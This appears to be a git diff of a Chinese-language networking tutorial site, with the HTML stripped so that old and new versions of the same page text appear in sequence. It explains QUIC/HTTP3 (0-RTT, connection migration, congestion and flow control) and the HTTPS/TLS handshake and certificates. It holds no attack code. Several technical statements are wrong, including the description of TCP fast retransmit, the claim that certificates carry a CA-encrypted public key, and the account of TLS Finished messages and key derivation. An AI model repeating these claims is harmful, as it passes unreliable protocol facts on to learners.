                            而 HTTP/3 首次连接只需要 1 RTT,后面的连接更是只需 0 RTT,意味着客户端发给服务端的第一个包就带有请求数据,这一点 HTTP/2 难以望其项背。那这背后是什么原理呢?我们具体看下 QUIC 的连接过程。

                            1. 首次连接时,客户端发送 Inchoate Client Hello 给服务端,用于请求连接;
                            2. 服务端生成 g、p、a,根据 g、p 和 a 算出 A,然后将 g、p、A 放到 Server Config 中再发送 Rejection 消息给客户端;
                            3. 客户端接收到 g、p、A 后,自己再生成 b,根据 g、p、b 算出 B,根据 A、p、b 算出初始密钥 K。B 和 K 算好后,客户端会用 K 加密 HTTP 数据,连同 B 一起发送给服务端;
                            4. 服务端接收到 B 后,根据 a、p、B 生成与客户端同样的密钥,再用这密钥解密收到的 HTTP 数据。为了进一步的安全(前向安全性),服务端会更新自己的随机数 a 和公钥,再生成新的密钥 S,然后把公钥通过 Server Hello 发送给客户端。连同 Server Hello 消息,还有 HTTP 返回数据;
                            5. 客户端收到 Server Hello 后,生成与服务端一致的新密钥 S,后面的传输都使用 S 加密。

                            这样,QUIC 从请求连接到正式接发 HTTP 数据一共花了 1 RTT,这 1 个 RTT 主要是为了获取 Server Config,后面的连接如果客户端缓存了 Server Config,那么就可以直接发送 HTTP 数据,实现 0 RTT 建立连接。

                            这里使用的是 DH 密钥交换算法,DH 算法的核心就是服务端生成 a、g、p 3 个随机数,a 自己持有,g 和 p 要传输给客户端,而客户端会生成 b 这 1 个随机数,通过 DH 算法客户端和服务端可以算出同样的密钥。在这过程中 a 和 b 并不参与网络传输,安全性大大提高。因为 p 和 g 是大数,所以即使在网络中传输的 p、g、A、B 都被劫持,那么靠现在的计算机算力也没法破解密钥。

                            连接迁移

                            TCP 连接基于四元组(源 IP、源端口、目的 IP、目的端口),切换网络时至少会有一个因素发生变化,导致连接发生变化。当连接发生变化时,如果还使用原来的 TCP 连接,则会导致连接失败,就得等原来的连接超时后重新建立连接,所以我们有时候发现切换到一个新网络时,即使新网络状况良好,但内容还是需要加载很久。如果实现得好,当检测到网络变化时立刻建立新的 TCP 连接,即使这样,建立新的连接还是需要几百毫秒的时间。

                            QUIC 的连接不受四元组的影响,当这四个元素发生变化时,原连接依然维持。那这是怎么做到的呢?道理很简单,QUIC 连接不以四元组作为标识,而是使用一个 64 位的随机数,这个随机数被称为 Connection ID,即使 IP 或者端口发生变化,只要 Connection ID 没有变化,那么连接依然可以维持。

                            队头阻塞和多路复用

                            队头阻塞会导致 HTTP/2 在更容易丢包的弱网络环境下比 HTTP/1.1 更慢!

                            那 QUIC 是如何解决队头阻塞问题的呢?主要有两点。

                            • QUIC 的传输单元是 Packet,加密单元也是 Packet,整个加密、传输、解密都基于 Packet,这样就能避免 TLS 的队头阻塞问题
                            • QUIC 基于 UDP,UDP 的数据包在接收端没有处理顺序,即使中间丢失一个包,也不会阻塞整条连接,其他的资源会被正常处理

                            拥塞控制

                            拥塞控制的目的是避免过多的数据一下子涌入网络,导致网络超出最大负荷。QUIC 的拥塞控制与 TCP 类似,并在此基础上做了改进。所以我们先简单介绍下 TCP 的拥塞控制。

                            TCP 拥塞控制由 4 个核心算法组成:慢启动、拥塞避免、快速重传和快速恢复,理解了这 4 个算法,对 TCP 的拥塞控制也就有了大概了解。

                            • 慢启动:发送方向接收方发送 1 个单位的数据,收到对方确认后会发送 2 个单位的数据,然后依次是 4 个、8 个……呈指数级增长,这个过程就是在不断试探网络的拥塞程度,超出阈值则会导致网络拥塞;
                            • 拥塞避免:指数增长不可能是无限的,到达某个限制(慢启动阈值)之后,指数增长变为线性增长;
                            • 快速重传:发送方每一次发送时都会设置一个超时计时器,超时后即认为丢失,需要重发;
                            • 快速恢复:在上面快速重传的基础上,发送方重新发送数据时,也会启动一个超时定时器,如果收到确认消息则进入拥塞避免阶段,如果仍然超时,则回到慢启动阶段。

                            QUIC 重新实现了 TCP 协议的 Cubic 算法进行拥塞控制,并在此基础上做了不少改进。下面介绍一些 QUIC 改进的拥塞控制的特性。

                            热插拔

                            TCP 中如果要修改拥塞控制策略,需要在系统层面进行操作。QUIC 修改拥塞控制策略只需要在应用层操作,并且 QUIC 会根据不同的网络环境、用户来动态选择拥塞控制算法。

                            前向纠错 FEC

                            QUIC 使用前向纠错(FEC,Forward Error Correction)技术增加协议的容错性。一段数据被切分为 10 个包后,依次对每个包进行异或运算,运算结果会作为 FEC 包与数据包一起被传输,如果不幸在传输过程中有一个数据包丢失,那么就可以根据剩余 9 个包以及 FEC 包推算出丢失的那个包的数据,这样就大大增加了协议的容错性。

                            这是符合现阶段网络技术的一种方案,现阶段带宽已经不是网络传输的瓶颈,往返时间才是,所以新的网络传输协议可以适当增加数据冗余,减少重传操作。

                            单调递增的 Packet Number

                            TCP 为了保证可靠性,使用 Sequence Number 和 ACK 来确认消息是否有序到达,但这样的设计存在缺陷。

                            超时发生后客户端发起重传,后来接收到了 ACK 确认消息,但因为原始请求和重传请求接收到的 ACK 消息一样,所以客户端就郁闷了,不知道这个 ACK 对应的是原始请求还是重传请求。如果客户端认为是原始请求的 ACK,但实际上是左图的情形,则计算的采样 RTT 偏大;如果客户端认为是重传请求的 ACK,但实际上是右图的情形,又会导致采样 RTT 偏小。图中有几个术语,RTO 是指超时重传时间(Retransmission TimeOut),跟我们熟悉的 RTT(Round Trip Time,往返时间)很长得很像。采样 RTT 会影响 RTO 计算,超时时间的准确把握很重要,长了短了都不合适。

                            QUIC 解决了上面的歧义问题。与 Sequence Number 不同的是,Packet Number 严格单调递增,如果 Packet N 丢失了,那么重传时 Packet 的标识不会是 N,而是比 N 大的数字,比如 N + M,这样发送方接收到确认消息时就能方便地知道 ACK 对应的是原始请求还是重传请求。

                            ACK Delay

                            TCP 计算 RTT 时没有考虑接收方接收到数据到发送确认消息之间的延迟,如下图所示,这段延迟即 ACK Delay。QUIC 考虑了这段延迟,使得 RTT 的计算更加准确。

                            更多的 ACK 块

                            一般来说,接收方收到发送方的消息后都应该发送一个 ACK 回复,表示收到了数据。但每收到一个数据就返回一个 ACK 回复太麻烦,所以一般不会立即回复,而是接收到多个数据后再回复,TCP SACK 最多提供 3 个 ACK block。但有些场景下,比如下载,只需要服务器返回数据就好,但按照 TCP 的设计,每收到 3 个数据包就要“礼貌性”地返回一个 ACK。而 QUIC 最多可以捎带 256 个 ACK block。在丢包率比较严重的网络下,更多的 ACK block 可以减少重传量,提升网络效率。

                            流量控制

                            TCP 会对每个 TCP 连接进行流量控制,流量控制的意思是让发送方不要发送太快,要让接收方来得及接收,不然会导致数据溢出而丢失,TCP 的流量控制主要通过滑动窗口来实现的。可以看出,拥塞控制主要是控制发送方的发送策略,但没有考虑到接收方的接收能力,流量控制是对这部分能力的补齐。

                            QUIC 只需要建立一条连接,在这条连接上同时传输多条 Stream,好比有一条道路,两头分别有一个仓库,道路中有很多车辆运送物资。QUIC 的流量控制有两个级别:连接级别(Connection Level)和 Stream 级别(Stream Level),好比既要控制这条路的总流量,不要一下子很多车辆涌进来,货物来不及处理,也不能一个车辆一下子运送很多货物,这样货物也来不及处理。

                            那 QUIC 是怎么实现流量控制的呢?我们先看单条 Stream 的流量控制。Stream 还没传输数据时,接收窗口(flow control receive window)就是最大接收窗口(flow control receive window),随着接收方接收到数据后,接收窗口不断缩小。在接收到的数据中,有的数据已被处理,而有的数据还没来得及被处理。如下图所示,蓝色块表示已处理数据,黄色块表示未处理数据,这部分数据的到来,使得 Stream 的接收窗口缩小。

                            随着数据不断被处理,接收方就有能力处理更多数据。当满足 (flow control receive offset - consumed bytes) < (max receive window / 2) 时,接收方会发送 WINDOW_UPDATE frame 告诉发送方你可以再多发送些数据过来。这时 flow control receive offset 就会偏移,接收窗口增大,发送方可以发送更多数据到接收方。

                            Stream 级别对防止接收端接收过多数据作用有限,更需要借助 Connection 级别的流量控制。理解了 Stream 流量那么也很好理解 Connection 流控。Stream 中,接收窗口(flow control receive window) = 最大接收窗口(max receive window) - 已接收数据(highest received byte offset) ,而对 Connection 来说:接收窗口 = Stream1 接收窗口 + Stream2 接收窗口 + ... + StreamN 接收窗口 。

                            参考资料

                            - + diff --git a/computer-networks/http/https/index.html b/computer-networks/http/https/index.html index 2d084d500..2edcb522d 100644 --- a/computer-networks/http/https/index.html +++ b/computer-networks/http/https/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + HTTPS - JavaScript Guidebook -

                            HTTPS

                            超文本传输安全协议(Hyper Text Transfer Protocol over Secure Socket Layer,HTTPS),是一种通过计算机网络进行安全通信的传输协议。HTTPS 经由 HTTP 进行通信,但利用 SSL / TLS 来加密数据包。HTTPS 开发的主要目的,是提供对网站服务器的身份认证,保护交换数据的隐私与完整性。

                            HTTPS = HTTP + SSL(加密 + 认证 + 完整性保护)

                            HTTP 协议采用明文传输信息,存在信息窃听、信息篡改和信息劫持的风险,而协议 SSL / TLS 具有身份验证信息加密完整性校验的功能,可以避免此类问题发生。

                            SSL / TLS 全称安全传输层协议 Transport Layer Security,是介于 TCP 和 HTTP 之间的一层安全协议,不影响原有的 TCP 协议和 HTTP 协议,所以使用 HTTPS 基本上不需要对 HTTP 页面进行太多的改造。

                            安全问题

                            使用 HTTP 协议通信存在的问题:

                            • 窃听:通信内容不经加密有可能被第三方捕获
                            • 伪造:第三方拦截通信内容,并伪装成发送方向接收方发送通信内容
                            • 否认:发送方将恶意数据发送给接受方并否认这些数据是它发送的

                            窃听属于数据加密问题,而伪造和否认则属于身份认证问题。

                            窃听

                            窃听

                            伪造

                            伪造

                            否认

                            否认

                            解决方案

                            对通信内容进行加密的解决方案:

                            • 对称加密:使用相同密钥加密/解密,但是钥匙交付问题无法解决
                            • 非对称加密:公钥加密数据,私钥解密数据,但是加密/解密消耗时间较多
                            • 混合加密:公钥加密密钥,密钥加密数据,私钥解密密钥,密钥解密数据(非对称传送密钥,密钥传送数据)。解决非对称加密效率问题
                            • 中间人攻击:秘密替换公钥窃取数据,源于服务端无法确认客户端公钥是否合法
                            • 消息鉴别码MAC 密钥和密文组成的字符串的哈希值。能够解决 伪造 问题,但无法解决 否认 问题
                            • 数字签名:服务端创建数字签名,而客户端只验证签名是否争取。解决 否认 问题
                            • 数字证书:由权威机构背书创建证书,保证公钥不被篡改。解决 中间人攻击 问题

                            对称加密

                            对称加密算法(Symmetric Key Algorithms)加密使用的密钥和解密使用的密钥是相同的。也就是说,加密和解密都是使用的同一个密钥。因此对称加密算法要保证安全性的话,密钥要做好保密,只能让使用的人知道,不能对外公开。

                            对称加密

                            对称密钥加密一个很重要的特点就是使用相同的密钥进行加密和解密

                            对称密钥交付问题

                            假设 B 是没有解密钥匙,所以 A 需要通过互联网将钥匙发送给 B。

                            但是 X 也有可能看到并获取到这个钥匙,因此,X 也可以通过这个钥匙来解密密文。

                            上面这个场景就会引出一个新问题,这个问题被称为钥匙交付问题,那怎么解决这个问题?

                            非对称加密

                            为了解决上面的钥匙交付问题,我们这里引入一个新的方法 —— 非对称加密(Asymmetric Key Algorithms)

                            • 用于加密的密钥被称为公钥,用于解密的密钥被称为私钥
                            • 对称加密相比,公开密钥加密往往需要更多的时间用于加密和解密

                            非对称加密过程

                            接收方 B 创建一个公钥和一个私钥,公钥被发送给 A。

                            非对称加密过程-创建
                            • A 使用从 B 收到的公钥加密数据,将密文发送给 B
                            • B 使用私钥解密从 A 接收到的密文,得到原始数据
                            非对称加密过程-传输

                            在这个过程中:

                            • 密文和公钥也可能被恶意第三方 X 截获
                            • 但是私钥是 B 保存的,X 无法获取到,自然没有办法解密密文
                            • 这样就很好的解决了钥匙交付问题

                            公开密钥加密的问题

                            1. 加密和解密都需要耗费时间,有一种叫混合加密的方法可以解决这个问题
                            2. 公开密钥的可靠性

                            混合加密

                            混合加密

                            混合密钥加密分为两个步骤:

                            • 通过公开密钥加密传递密钥
                            • 通过速度更快的对称密钥加密方法传递数据

                            中间人攻击

                            中间人攻击(Man In the Middle Attack)。

                            为了更好地理解公开密钥加密的可靠性问题,我们回到传递公钥的场景。

                            中间人攻击

                            A 拿到的其实是 X 发送给他的伪造公钥,但是 A 无法察觉。

                            中间人攻击2

                            最后,X 用他自己的密钥加密响应数据,并发送给 A,就这样,虽然 A、B 双方能顺利完成通信,但是恶意的第三方 X 能看到解密后的请求数据和响应数据,而 A、B 双方则毫不知情。

                            中间人攻击的攻击方式:

                            • 域名污染:DNS 解析的中间链点返回中间人错误 IP
                            • ARP 欺骗

                            潜在的中间人攻击威胁:

                            • 浏览器弹出的证书警告,可能访问的是钓鱼网站或假冒的服务器
                            • 公共 Wifi 下,没有 HTTPS 加密的网站不要随便登录
                            • 在任何网站登录账号必须走 HTTPS 加密协议

                            消息鉴别码

                            消息鉴别码(Message Authentication Code,简写 MAC)是一种用于确认消息完整性(数据不会被篡改)和可靠性(消息认证是确认消息来自正确的发送者)的技术。消息鉴别码可以理解为密钥密文组成的字符串的哈希值

                            消息鉴别码

                            消息鉴别码虽然可以解决伪造问题,但是仍然无法避免否认问题。

                            数字签名

                            为了解决这个否认问题,我们接下来看看数字签名方法。

                            数据发送方通过约定的哈希函数从数据报文中生成报文摘要(Digest),然后利用私钥对报文摘要进行加密,这个加密后的摘要将作为报文的数字签名数据报文一起发送给接收方。

                            数据接收方首先使用与发送方一致的哈希函数从接收到的原始报文中计算出报文摘要,接着再用发送方的公钥对数字签名进行解密,得出摘要。如果摘要相同,那么接收方就能确认该数字签名是发送方的。

                            数字签名

                            数字证书

                            虽然上面的方法已经能避免窃听、伪造、否认等问题,但是现在还是没办法避免中间人攻击,因为我们还是没办法验证公钥的所有者,因此我们需要数字证书系统来验证公钥的所有者。

                            接下来,先看看数字证书申请的过程,我们将数字证书认证机构(Certificate Authority)称之为 CA。

                            数字证书申请过程:

                            1. 服务器方向第三方机构 CA 提交公钥组织信息个人信息(域名) 等信息并申请认证

                            2. CA 通过线上、线下等多种手段验证申请者提供信息的真实性,如组织是否存在、企业是否合法、是否拥有域名的所有权等

                            3. 如信息审核通过,CA 会向申请者签发认证文件证书。证书包含以下信息:申请者公钥申请者的组织个人信息签发机构 CA 的信息有效时间证书序列号等信息的明文,同时包含数字签名

                            数字签名通过散列函数计算公开的明文信息的信息摘要,然后,采用 CA 提供的私钥对信息摘要进行加密,加密后的信息摘要即为数字签名

                            数字证书

                            现在 B 已经申请到一个数字证书了,那么怎么使用数字证书来检验公钥 PB 是属于 B 呢。

                            数字证书校验流程:

                            1. 客户端向服务端发送请求时,服务端返回数字证书文件

                            2. 客户端读取证书中的相关的明文信息,采用与加密时相同的散列函数计算得到信息摘要,然后利用内置客户端中的受信任的 CA 公钥解密数字签名,对比证书的信息摘要

                              • 如果一致,则可以确认证书的合法性,即公钥合法
                              • 如果不一致,则可以确认证书为非法,即公钥非法
                              • 如果 CA 不被信任,则找不到对应 CA 证书,证书也会被判定为非法,即公钥非法
                            3. 客户端验证证书相关的域名信息、有效时间等信息

                            数字证书2

                            现在可以验证 PB 是属于 B 的,但是怎么验证 PC 是属于受信任的 CA 的呢。

                            数字证书3

                            事实上,认证机构形成一个树形结构,高级别的权威机构为较低级别的机构创建证书,那就是说,如果要验证的话,就是一级一级向上认证,信任链条的最终是 Root CA,他采用自签名,对他的签名是无条件的信任。

                            数字证书4

                            工作流程

                            HTTPS 在传输数据之前需要客户端(浏览器)与服务端之间进行一次握手,在握手过程中将确立双方加密传输数据的密码信息。TLS/SSL 协议使用非对称加密对称加密以及 HASH 算法确保信息通信的安全。

                            HTTPS Workflow

                            具体流程:

                            1. Client Hello:客户端发起 HTTPS 请求。

                              • 不同的客户端对不同的加密算法的支持度不同,因此客户端会将支持的一套加密套件(Cipher Suite)发送给服务端(除了加密组合方式,报文中还包括 TLS 的协议版本、随机生成的密码串记为 Random1、会话 ID、域名 ServerName 以及签名算法)
                            2. Server Hello:服务端从客户端支持的加密规则中选用一组加密算法(包括用于生成通信密钥的算法),并随机生成密码串记为 Random2,后续将数据传回客户端。

                              • Certificate:服务端收到 Client Hello 之后,向客户端发送 CA 认证的数字证书,用来鉴别服务端身份信息,同时还要生成一个 随机数 同时保存在服务端和发送给客户端。证书包含 网站信息由 CA 私钥加密的通信公钥,以及 经证书的颁发机构的私钥加密产生的数字签名 等信息。
                              • Server Hello Done:表示服务端宣告第一阶段的客户端服务端握手协商结束
                              • 可选:Certificate Request:必要情况下,要求客户端发送证书验证身份
                              • 可选:Server Key Exchange:如果 CA 认证的数字证书提供的信息不够,服务端还可发送提供补充信息
                            3. Client Finish

                              • Client Key Exchange
                                • 客户端收到 CA 数字证书并通过验证,然后通过 CA 公钥解密获取到 服务端公钥
                                • 客户端先读取数字证书中相关的明文信息,采用相同的 Hash 函数计算得到信息摘要,然后利用内置在客户端中的对应的 CA 的公钥解密数字签名数据,并与数字证书的摘要进行对比
                                  • 如果一致,则证书合法,即公钥合法(如果证书受信任,则客户端地址栏会显示小锁头)
                                  • 如果不一致,则证书非法,即公钥非法(如果证书不受信任,则会提示用户证书存在问题)
                                • 如果证书受信任,客户端会根据两个 pubkey 随机数生成一串随机数的密钥记为 Pre-Master 随机数,并利用两次 Hello 报文产生的两个随机数 Random1 和 Random2,利用对称密钥生成算法生成对称密钥 enc_key = Func(Random1, Random2, Pre-Master)(即消息鉴别码:即用于终端数据交互的对称密钥),并用证书中提供的服务端公钥加密该随机数
                                • 传送加密信息:使用约定好的 HASH 算法计算握手信息,并使用对称密钥对消息进行加密,最后将之前生成的所有信息发送给服务端
                              • Change Cipher Spec:该报文通知服务端,此后的通信都将使用协商好的加密算法计算对称密钥进行加密通信(也就是使用两个随机数以及第三个 Pre-master key/secret 随机数一起算出一个对称密钥 session key/secret
                              • Finished 报文:该报文包括连接至此的所有报文的校验值,使用服务端公钥进行加密
                              • 可选:ClientCertificate 报文:如果服务端请求,客户端需要发送 CA 数字证书
                              • 可选:CertificateVerify 报文:服务端如果要求 CA 数字证书,那么需要通过 HASH 算法计算一个服务端发送来的信息摘要
                            4. Server Finish:使用私钥将信息解密取出密钥,使用密钥解密客户端发来的握手信息,并验证 HASH 是否与浏览器发来的一致

                              • New Session Ticket:服务端最后对客户端发送过来的 Finished 报文使用服务端私钥进行解密校验
                              • Change Cipher Spec:报文通知服务端,此后的通信都将使用协商好的加密算法计算对称密钥 session key/secret 进行加密通信
                              • Finished 报文:标志 TLS 连接建立成功
                            5. 浏览器解密并计算握手信息的 Hash,如果与服务端发来的 Hash 一致,此时握手过程结束,之后所有的通信数据将由之前客户端生成的对称密钥并利用堆成加密算法进行加密

                            这里客户端与服务端互相发送加密的握手消息并验证,目的是为了保证双方都获得了一致的密码,并且可以正常的加密解密数据,为后续真正数据的传输做一次测试。

                            客户端取出提前内置在手机内部的认证机构的公钥

                            1. 用认证机构的公钥去解密公钥证书里的数字签名 从而得到数字指纹
                            2. 客户端对公钥证书的服务器公钥进行 数字摘要算法 从而生成数字指纹
                            3. 对比客户端自己生成的数字指纹(第 3 步)和解密得到的数字指纹(第 2 步)是否一致 如果一致则公钥证书验证通过 就可以进行接下来的握手步骤了
                            • Client Hello 包含域名的信息是比较特别的,因为域名是工作在应用层 HTTP 里的,而握手是发生在 TLS 还在传输层。在传输层里面就把域名信息告诉服务端,好让服务器根据域名发送相应的证书。

                            相关算法

                            散列函数

                            常见的散列函数 Hash 算法:MD5SHA1SHA256

                            散列函数特点是函数单向不可逆转、对输入非常敏感、输出长度固定,针对数据的任何修改都会改变散列函数的结果,用于防止信息篡改验证数据的完整性

                            在信息传递过程中,散列函数不能单独实现信息信息防篡改,因为明文传输,中间人可以修改信息之后重新计算信息摘要,因此需要对传输的信息以及信息摘要进行加密。

                            对称加密

                            常见的对称加密算法:AES-CBCDES3DESRC4

                            相同的密钥可以用于信息的加密和解密,掌握密钥才能获取信息,能够防止信息窃听,通信方式是 1 对 1。

                            对称加密的优势是信息传输 1 对 1,需要共享相同的密码,密码的安全是保证信息安全的基础,服务器和 N 个客户端通信,需要维持 N 个密码记录,且缺少修改密码的机制。

                            非对称加密

                            常见非对称加密算法:RSA、DSA / DSS

                            密钥成对出现,一般称为公钥(公开)和私钥(保密),公钥加密的信息只能私钥解开,私钥加密的信息只能公钥解开。因此掌握公钥的不同客户端之间不能互相解密信息,只能和掌握私钥的服务器进行加密通信,服务器可以实现 1 对 N 的通信,客户端也可以用来验证掌握私钥的服务器身份。

                            非对称加密的特点是 1 对多,服务器只需要维持一个私钥就能够和多个客户端进行加密通信,但服务器发出的信息能够被所有的客户端解密,且该算法的计算复杂,加密速度慢。

                            通信协议对比

                            HTTP 协议和 HTTPS 协议的区别

                            区别HTTPHTTPS
                            协议运行在 TCP 之上,明文传输,客户端与服务端都无法验证通信双方的身份基于 SSL 的 HTTP,运行于 SSL 之上,SSL 运行于 TCP 之上,是添加了加密和认证机制的 HTTP
                            端口80443
                            资源消耗较少由于加密处理,会消耗更多 CPU 和内存资源
                            开销无需证书需要 CA 证书,而证书一般需要向认证机构购买
                            加密机制共享密钥加密和公开密钥加密并用的混合加密机制
                            安全性由于加密机制,安全性强

                            HTTPS 主要作用

                            • 对数据进行加密,并建立一个信息安全通道,来保证传输过程中的数据安全
                            • 对网站服务器进行真实身份认证

                            参考资料

                            +

                            HTTPS

                            超文本传输安全协议(Hyper Text Transfer Protocol over Secure Socket Layer,HTTPS),是一种通过计算机网络进行安全通信的传输协议。HTTPS 经由 HTTP 进行通信,但利用 SSL / TLS 来加密数据包。HTTPS 开发的主要目的,是提供对网站服务器的身份认证,保护交换数据的隐私与完整性。

                            HTTPS = HTTP + SSL(加密 + 认证 + 完整性保护)

                            HTTP 协议采用明文传输信息,存在信息窃听、信息篡改和信息劫持的风险,而协议 SSL / TLS 具有身份验证信息加密完整性校验的功能,可以避免此类问题发生。

                            SSL / TLS 全称安全传输层协议 Transport Layer Security,是介于 TCP 和 HTTP 之间的一层安全协议,不影响原有的 TCP 协议和 HTTP 协议,所以使用 HTTPS 基本上不需要对 HTTP 页面进行太多的改造。

                            安全问题

                            使用 HTTP 协议通信存在的问题:

                            • 窃听:通信内容不经加密有可能被第三方捕获
                            • 伪造:第三方拦截通信内容,并伪装成发送方向接收方发送通信内容
                            • 否认:发送方将恶意数据发送给接受方并否认这些数据是它发送的

                            窃听属于数据加密问题,而伪造和否认则属于身份认证问题。

                            窃听

                            窃听

                            伪造

                            伪造

                            否认

                            否认

                            解决方案

                            对通信内容进行加密的解决方案:

                            • 对称加密:使用相同密钥加密/解密,但是钥匙交付问题无法解决
                            • 非对称加密:公钥加密数据,私钥解密数据,但是加密/解密消耗时间较多
                            • 混合加密:公钥加密密钥,密钥加密数据,私钥解密密钥,密钥解密数据(非对称传送密钥,密钥传送数据)。解决非对称加密效率问题
                            • 中间人攻击:秘密替换公钥窃取数据,源于服务端无法确认客户端公钥是否合法
                            • 消息鉴别码MAC 密钥和密文组成的字符串的哈希值。能够解决 伪造 问题,但无法解决 否认 问题
                            • 数字签名:服务端创建数字签名,而客户端只验证签名是否争取。解决 否认 问题
                            • 数字证书:由权威机构背书创建证书,保证公钥不被篡改。解决 中间人攻击 问题

                            对称加密

                            对称加密算法(Symmetric Key Algorithms)加密使用的密钥和解密使用的密钥是相同的。也就是说,加密和解密都是使用的同一个密钥。因此对称加密算法要保证安全性的话,密钥要做好保密,只能让使用的人知道,不能对外公开。

                            对称加密

                            对称密钥加密一个很重要的特点就是使用相同的密钥进行加密和解密

                            对称密钥交付问题

                            假设 B 是没有解密钥匙,所以 A 需要通过互联网将钥匙发送给 B。

                            但是 X 也有可能看到并获取到这个钥匙,因此,X 也可以通过这个钥匙来解密密文。

                            上面这个场景就会引出一个新问题,这个问题被称为钥匙交付问题,那怎么解决这个问题?

                            非对称加密

                            为了解决上面的钥匙交付问题,我们这里引入一个新的方法 —— 非对称加密(Asymmetric Key Algorithms)

                            • 用于加密的密钥被称为公钥,用于解密的密钥被称为私钥
                            • 对称加密相比,公开密钥加密往往需要更多的时间用于加密和解密

                            非对称加密过程

                            接收方 B 创建一个公钥和一个私钥,公钥被发送给 A。

                            非对称加密过程-创建
                            • A 使用从 B 收到的公钥加密数据,将密文发送给 B
                            • B 使用私钥解密从 A 接收到的密文,得到原始数据
                            非对称加密过程-传输

                            在这个过程中:

                            • 密文和公钥也可能被恶意第三方 X 截获
                            • 但是私钥是 B 保存的,X 无法获取到,自然没有办法解密密文
                            • 这样就很好的解决了钥匙交付问题

                            公开密钥加密的问题

                            1. 加密和解密都需要耗费时间,有一种叫混合加密的方法可以解决这个问题
                            2. 公开密钥的可靠性

                            混合加密

                            混合加密

                            混合密钥加密分为两个步骤:

                            • 通过公开密钥加密传递密钥
                            • 通过速度更快的对称密钥加密方法传递数据

                            中间人攻击

                            中间人攻击(Man In the Middle Attack)。

                            为了更好地理解公开密钥加密的可靠性问题,我们回到传递公钥的场景。

                            中间人攻击

                            A 拿到的其实是 X 发送给他的伪造公钥,但是 A 无法察觉。

                            中间人攻击2

                            最后,X 用他自己的密钥加密响应数据,并发送给 A,就这样,虽然 A、B 双方能顺利完成通信,但是恶意的第三方 X 能看到解密后的请求数据和响应数据,而 A、B 双方则毫不知情。

                            中间人攻击的攻击方式:

                            • 域名污染:DNS 解析的中间链点返回中间人错误 IP
                            • ARP 欺骗

                            潜在的中间人攻击威胁:

                            • 浏览器弹出的证书警告,可能访问的是钓鱼网站或假冒的服务器
                            • 公共 Wifi 下,没有 HTTPS 加密的网站不要随便登录
                            • 在任何网站登录账号必须走 HTTPS 加密协议

                            消息鉴别码

                            消息鉴别码(Message Authentication Code,简写 MAC)是一种用于确认消息完整性(数据不会被篡改)和可靠性(消息认证是确认消息来自正确的发送者)的技术。消息鉴别码可以理解为密钥密文组成的字符串的哈希值

                            消息鉴别码

                            消息鉴别码虽然可以解决伪造问题,但是仍然无法避免否认问题。

                            数字签名

                            为了解决这个否认问题,我们接下来看看数字签名方法。

                            数据发送方通过约定的哈希函数从数据报文中生成报文摘要(Digest),然后利用私钥对报文摘要进行加密,这个加密后的摘要将作为报文的数字签名数据报文一起发送给接收方。

                            数据接收方首先使用与发送方一致的哈希函数从接收到的原始报文中计算出报文摘要,接着再用发送方的公钥对数字签名进行解密,得出摘要。如果摘要相同,那么接收方就能确认该数字签名是发送方的。

                            数字签名

                            数字证书

                            虽然上面的方法已经能避免窃听、伪造、否认等问题,但是现在还是没办法避免中间人攻击,因为我们还是没办法验证公钥的所有者,因此我们需要数字证书系统来验证公钥的所有者。

                            接下来,先看看数字证书申请的过程,我们将数字证书认证机构(Certificate Authority)称之为 CA。

                            数字证书申请过程:

                            1. 服务器方向第三方机构 CA 提交公钥组织信息个人信息(域名) 等信息并申请认证

                            2. CA 通过线上、线下等多种手段验证申请者提供信息的真实性,如组织是否存在、企业是否合法、是否拥有域名的所有权等

                            3. 如信息审核通过,CA 会向申请者签发认证文件证书。证书包含以下信息:申请者公钥申请者的组织个人信息签发机构 CA 的信息有效时间证书序列号等信息的明文,同时包含数字签名

                            数字签名通过散列函数计算公开的明文信息的信息摘要,然后,采用 CA 提供的私钥对信息摘要进行加密,加密后的信息摘要即为数字签名

                            数字证书

                            现在 B 已经申请到一个数字证书了,那么怎么使用数字证书来检验公钥 PB 是属于 B 呢。

                            数字证书校验流程:

                            1. 客户端向服务端发送请求时,服务端返回数字证书文件

                            2. 客户端读取证书中的相关的明文信息,采用与加密时相同的散列函数计算得到信息摘要,然后利用内置客户端中的受信任的 CA 公钥解密数字签名,对比证书的信息摘要

                              • 如果一致,则可以确认证书的合法性,即公钥合法
                              • 如果不一致,则可以确认证书为非法,即公钥非法
                              • 如果 CA 不被信任,则找不到对应 CA 证书,证书也会被判定为非法,即公钥非法
                            3. 客户端验证证书相关的域名信息、有效时间等信息

                            数字证书2

                            现在可以验证 PB 是属于 B 的,但是怎么验证 PC 是属于受信任的 CA 的呢。

                            数字证书3

                            事实上,认证机构形成一个树形结构,高级别的权威机构为较低级别的机构创建证书,那就是说,如果要验证的话,就是一级一级向上认证,信任链条的最终是 Root CA,他采用自签名,对他的签名是无条件的信任。

                            数字证书4

                            工作流程

                            HTTPS 在传输数据之前需要客户端(浏览器)与服务端之间进行一次握手,在握手过程中将确立双方加密传输数据的密码信息。TLS/SSL 协议使用非对称加密对称加密以及 HASH 算法确保信息通信的安全。

                            HTTPS Workflow

                            具体流程:

                            1. Client Hello:客户端发起 HTTPS 请求。

                              • 不同的客户端对不同的加密算法的支持度不同,因此客户端会将支持的一套加密套件(Cipher Suite)发送给服务端(除了加密组合方式,报文中还包括 TLS 的协议版本、随机生成的密码串记为 Random1、会话 ID、域名 ServerName 以及签名算法)
                            2. Server Hello:服务端从客户端支持的加密规则中选用一组加密算法(包括用于生成通信密钥的算法),并随机生成密码串记为 Random2,后续将数据传回客户端。

                              • Certificate:服务端收到 Client Hello 之后,向客户端发送 CA 认证的数字证书,用来鉴别服务端身份信息,同时还要生成一个 随机数 同时保存在服务端和发送给客户端。证书包含 网站信息由 CA 私钥加密的通信公钥,以及 经证书的颁发机构的私钥加密产生的数字签名 等信息。
                              • Server Hello Done:表示服务端宣告第一阶段的客户端服务端握手协商结束
                              • 可选:Certificate Request:必要情况下,要求客户端发送证书验证身份
                              • 可选:Server Key Exchange:如果 CA 认证的数字证书提供的信息不够,服务端还可发送提供补充信息
                            3. Client Finish

                              • Client Key Exchange
                                • 客户端收到 CA 数字证书并通过验证,然后通过 CA 公钥解密获取到 服务端公钥
                                • 客户端先读取数字证书中相关的明文信息,采用相同的 Hash 函数计算得到信息摘要,然后利用内置在客户端中的对应的 CA 的公钥解密数字签名数据,并与数字证书的摘要进行对比
                                  • 如果一致,则证书合法,即公钥合法(如果证书受信任,则客户端地址栏会显示小锁头)
